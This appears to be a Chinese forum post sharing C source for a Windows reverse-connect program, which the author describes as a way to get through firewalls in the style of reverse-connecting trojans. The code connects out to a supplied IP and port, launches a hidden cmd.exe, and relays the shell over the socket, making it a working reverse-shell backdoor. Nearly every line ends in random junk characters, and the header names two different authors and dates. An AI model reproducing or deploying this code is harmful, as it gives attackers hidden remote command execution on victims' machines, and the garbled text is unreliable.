这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~jn~M_}K
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/* ============================== $Z{Xt*
Rebound port in Windows NT 2<8JY4]!]
By wind,2006/7 ' lMPI@C6r
===============================*/ `\5u/i'Ca!
#include ?*2Uw{~}
#include 6-h(305A
+{pS2I}d
#pragma comment(lib,"wsock32.lib") A1V^Gi@i
tc<ly{ 1c
void OutputShell(); kF29~
SOCKET sClient; 0}iND$6@a
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; q[MZSg
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void main(int argc,char **argv) AvEd?
{ 1o%E(*M4I
WSADATA stWsaData; uQ'Izdm
int nRet; )xj!7:n)
SOCKADDR_IN stSaiClient,stSaiServer; F{"4cyoou
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if(argc != 3) <WRrB
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{ 5Cjh%rj(jl
printf("Useage:\n\rRebound DestIP DestPort\n"); >7I"_#x1:
return; k86j&
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} 55#s/`gd)^
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WSAStartup(MAKEWORD(2,2),&stWsaData); ?0k4l8R
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TuX9:Q
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stSaiClient.sin_family = AF_INET; k9vzxZ%s:
stSaiClient.sin_port = htons(0); m6^n8%
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <maYS2
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) N9=1<{Z
{ f?|cQ[#t!\
printf("Bind Socket Failed!\n"); z*B-`i.
return; F>/"If#
} b'$fr6"O1
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stSaiServer.sin_family = AF_INET; oVYW'~OID
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); , UiA?7k
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =9y&j-F
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) rf]'VJg#3
{ ?A`8c R=)I
printf("Connect Error!"); c#YW>(
return; U9eb&nd
} aokV'6
OutputShell(); &yN/AY`U
} CFyu9Al
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void OutputShell() yTwtGo&
{ Vp
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char szBuff[1024]; + Ssu^>D
SECURITY_ATTRIBUTES stSecurityAttributes; N!iugGL
OSVERSIONINFO stOsversionInfo; -J\R}9 lIm
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4J${gcju
STARTUPINFO stStartupInfo; 5
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char *szShell; ;'~GuZ#I
PROCESS_INFORMATION stProcessInformation; m6
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unsigned long lBytesRead; QkU6eE<M*
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); AIX?840V
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %e|.a)78
stSecurityAttributes.lpSecurityDescriptor = 0; )$oboAv#
stSecurityAttributes.bInheritHandle = TRUE; C6ry]R@
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); k2Y *
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); S"skKh4w
w9Z,3J6r
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); FvVR \a
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N~t4qlC/
stStartupInfo.wShowWindow = SW_HIDE; w_h}c$;GK
stStartupInfo.hStdInput = hReadPipe; CPt62j8
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1b4/
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GetVersionEx(&stOsversionInfo); t`oH7)nut
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switch(stOsversionInfo.dwPlatformId) *j"u~ NF
{ FQW{c3%qZ
case 1: *p Q'w
szShell = "command.com"; Vnvfu!>(
break; vE<z0l
default: GZCX m+
szShell = "cmd.exe";
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break; #$;i 4a
} ll8Zo+-[
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); CS|al(?~
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send(sClient,szMsg,77,0); |p\vH#6y+
while(1) O\&-3#e
{ ' zz^!@
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %Z]c[V.
if(lBytesRead) b"7L
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{ lJIcU
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !Pf6UNN'
send(sClient,szBuff,lBytesRead,0); `y0u(m5
} z8-dntkf
else 7wB*@a-
{ H{CiN
lBytesRead=recv(sClient,szBuff,1024,0); aRE%(-5
if(lBytesRead<=0) break; Is1(]^EE*
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); tS:/:0HnA)
} ,!7\?=G6}v
} Pg\!\5
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return; xN
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}